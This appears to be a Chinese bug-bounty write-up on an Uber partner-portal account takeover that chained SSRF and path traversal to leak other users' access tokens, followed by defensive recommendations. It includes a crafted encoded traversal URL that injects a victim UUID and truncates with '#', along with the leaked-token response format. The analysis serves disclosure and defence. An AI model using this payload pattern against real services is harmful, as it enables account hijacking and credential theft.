挖洞经验 | Uber服务端响应中的API调用缺陷导致的账户劫持
字数 1785 2025-08-18 11:38:32

Uber API调用缺陷导致的账户劫持漏洞分析

漏洞概述

本漏洞是一个结合了SSRF(服务端请求伪造)和路径遍历(Path Traversal)技术的账户劫持漏洞,存在于Uber的微服务架构中。攻击者通过精心构造的请求,能够获取其他用户的访问令牌(token),从而实现对目标账户的完全控制。

技术背景

微服务架构

Uber采用微服务(Microservice)架构模式:

  • 将整个Web应用组织为一系列小型Web服务
  • 每个服务可独立编译、部署和扩容
  • 通过暴露的API接口相互通信
  • 涉及大量REST API调用

漏洞相关概念

  1. SSRF (Server-Side Request Forgery):攻击者诱使服务器向内部系统发起请求
  2. Path Traversal:通过操纵文件路径访问未授权的目录或文件
  3. IDOR (Insecure Direct Object Reference):直接访问未授权资源

漏洞发现过程

初始观察

partners.uber.com/p3/money/statements/view/current端点发现:

  • 服务端响应包含内部API调用细节
  • 响应中意外泄露用户访问令牌("token":"ACCESS_TOKEN_OF_USER")
  • API调用缺乏身份验证头(X-Auth-Token)

响应分析

服务端响应示例:

{
  "request": {
    "uri": {
      "protocol": "http",
      "slashes": true,
      "auth": null,
      "host": "127.0.0.1:123",
      "port": "123",
      "hostname": "127.0.0.1",
      "hash": null,
      "search": "?earnings_structure_type=&locale=en&user_id=xxxxx",
      "query": "earnings_structure_type=&locale=en&user_id=xxxxx",
      "pathname": "/v1/partners/xxxxx/statements/current",
      "path": "/v1/partners/xxxxxx/statements/current?earnings_structure_type=&locale=en&user_id=xxxxx",
      "href": "http://127.0.0.1:123/v1/partners/xxxxx/statements/current?earnings_structure_type=&locale=en&user_id=xxxxxx"
    },
    "token": "ACCESS_TOKEN_OF_USER",
    ...
  }
}

关键点:

  1. 内部API调用格式:http://127.0.0.1:123/v1/partners/xxxx/statements/current?earnings_structure_type=&locale=en&user_id=xxxx
  2. 路径构造方式:前端请求的current被附加到pathname结尾
  3. 响应中包含用户token

漏洞利用条件

需要找到一个满足以下条件的前端端点:

  1. 允许传递任意参数
  2. 支持URL编码转义字符(如%23代替#)
  3. 服务端返回完整可读的响应

漏洞利用步骤

1. 识别可操纵端点

发现可利用端点:
https://partners.uber.com/p3/money/statements/view/4cb88fb1-d3fa-3a10-e3b5-ceef8ca71faa

服务端响应包含:

"href": "http://127.0.0.1:123/v1/statements/4cb88fb1-d3fa-3a10-e3b5-ceef8ca71faa?earnings_structure_type=&locale=en&statement_uuid=4cb88fb1-d3fa-3a10-e3b5-ceef8ca71faa&user_id=your_user_id"

2. 测试路径遍历

初始测试:
https://partners.uber.com/p3/money/statements/view/4cb88fb1-d3fa-3a10-e3b5-ceef8ca71faa%2f..%2f4cb88fb1-d3fa-3a10-e3b5-ceef8ca71faa

确认%2f(编码后的/)和../可被解析

3. 构造恶意请求

目标API调用格式:
http://127.0.0.1:123/v1/partners/victim_uuid/statements/current?earnings_structure_type=&locale=en&user_id=victim_uuid

构造的攻击URL:

https://partners.uber.com/p3/money/statements/view/15327ef1-2acc-e468-e17a-576a7d12312%2f..%2f..%2f..%2Fv1%2Fpartners%2FVICTIM_UUID%2Fstatements%2Fcurrent%3Fearnings_structure_type%3D%26locale%3Den%26user_id%3DVICTIM_UUID%23

URL解码后等效于:

https://partners.uber.com/p3/money/statements/view/15327ef1-2acc-e468-e17a-576a7d12312/../../../v1/partners/VICTIM_UUID/statements/current?earnings_structure_type=&locale=en&user_id=VICTIM_UUID#

4. 获取目标token

服务端响应将包含:

  • 目标用户的API调用信息
  • 目标用户的访问令牌

技术原理

  1. SSRF利用:通过操纵前端请求,诱导服务器发起内部API调用
  2. Path Traversal:使用../穿越目录结构,到达目标API端点
  3. 参数注入:通过URL编码和#截断,控制API调用的参数
  4. Token泄露:微服务间缺乏严格的身份验证,导致敏感信息泄露

防御措施

  1. 输入验证

    • 严格验证所有用户提供的路径参数
    • 禁止../等路径遍历序列
  2. 微服务安全

    • 服务间通信应实施双向认证
    • 敏感信息(如token)不应在响应中泄露
  3. API设计

    • 使用固定、不可操纵的API路径
    • 实施严格的访问控制
  4. 输出过滤

    • 过滤响应中的敏感信息
    • 实施最小权限原则
  5. 监控与日志

    • 监控异常的路径遍历尝试
    • 记录详细的访问日志

总结

该漏洞展示了微服务架构中常见的安全隐患:

  1. 过度信任内部通信
  2. 缺乏严格的输入验证
  3. 敏感信息的不当处理

通过结合SSRF和Path Traversal技术,攻击者能够绕过正常身份验证流程,直接获取其他用户的访问凭证。这种漏洞的危害性高,修复奖励通常不低于$4,000。

Uber API调用缺陷导致的账户劫持漏洞分析 漏洞概述 本漏洞是一个结合了SSRF(服务端请求伪造)和路径遍历(Path Traversal)技术的账户劫持漏洞,存在于Uber的微服务架构中。攻击者通过精心构造的请求,能够获取其他用户的访问令牌(token),从而实现对目标账户的完全控制。 技术背景 微服务架构 Uber采用微服务(Microservice)架构模式: 将整个Web应用组织为一系列小型Web服务 每个服务可独立编译、部署和扩容 通过暴露的API接口相互通信 涉及大量REST API调用 漏洞相关概念 SSRF (Server-Side Request Forgery) :攻击者诱使服务器向内部系统发起请求 Path Traversal :通过操纵文件路径访问未授权的目录或文件 IDOR (Insecure Direct Object Reference) :直接访问未授权资源 漏洞发现过程 初始观察 在 partners.uber.com/p3/money/statements/view/current 端点发现: 服务端响应包含内部API调用细节 响应中意外泄露用户访问令牌( "token":"ACCESS_TOKEN_OF_USER" ) API调用缺乏身份验证头( X-Auth-Token ) 响应分析 服务端响应示例: 关键点: 内部API调用格式: http://127.0.0.1:123/v1/partners/xxxx/statements/current?earnings_structure_type=&locale=en&user_id=xxxx 路径构造方式:前端请求的 current 被附加到 pathname 结尾 响应中包含用户token 漏洞利用条件 需要找到一个满足以下条件的前端端点: 允许传递任意参数 支持URL编码转义字符(如 %23 代替 # ) 服务端返回完整可读的响应 漏洞利用步骤 1. 识别可操纵端点 发现可利用端点: https://partners.uber.com/p3/money/statements/view/4cb88fb1-d3fa-3a10-e3b5-ceef8ca71faa 服务端响应包含: 2. 测试路径遍历 初始测试: https://partners.uber.com/p3/money/statements/view/4cb88fb1-d3fa-3a10-e3b5-ceef8ca71faa%2f..%2f4cb88fb1-d3fa-3a10-e3b5-ceef8ca71faa 确认 %2f (编码后的 / )和 ../ 可被解析 3. 构造恶意请求 目标API调用格式: http://127.0.0.1:123/v1/partners/victim_uuid/statements/current?earnings_structure_type=&locale=en&user_id=victim_uuid 构造的攻击URL: URL解码后等效于: 4. 获取目标token 服务端响应将包含: 目标用户的API调用信息 目标用户的访问令牌 技术原理 SSRF利用 :通过操纵前端请求,诱导服务器发起内部API调用 Path Traversal :使用 ../ 穿越目录结构,到达目标API端点 参数注入 :通过URL编码和 # 截断,控制API调用的参数 Token泄露 :微服务间缺乏严格的身份验证,导致敏感信息泄露 防御措施 输入验证 : 严格验证所有用户提供的路径参数 禁止 ../ 等路径遍历序列 微服务安全 : 服务间通信应实施双向认证 敏感信息(如token)不应在响应中泄露 API设计 : 使用固定、不可操纵的API路径 实施严格的访问控制 输出过滤 : 过滤响应中的敏感信息 实施最小权限原则 监控与日志 : 监控异常的路径遍历尝试 记录详细的访问日志 总结 该漏洞展示了微服务架构中常见的安全隐患: 过度信任内部通信 缺乏严格的输入验证 敏感信息的不当处理 通过结合SSRF和Path Traversal技术,攻击者能够绕过正常身份验证流程,直接获取其他用户的访问凭证。这种漏洞的危害性高,修复奖励通常不低于$4,000。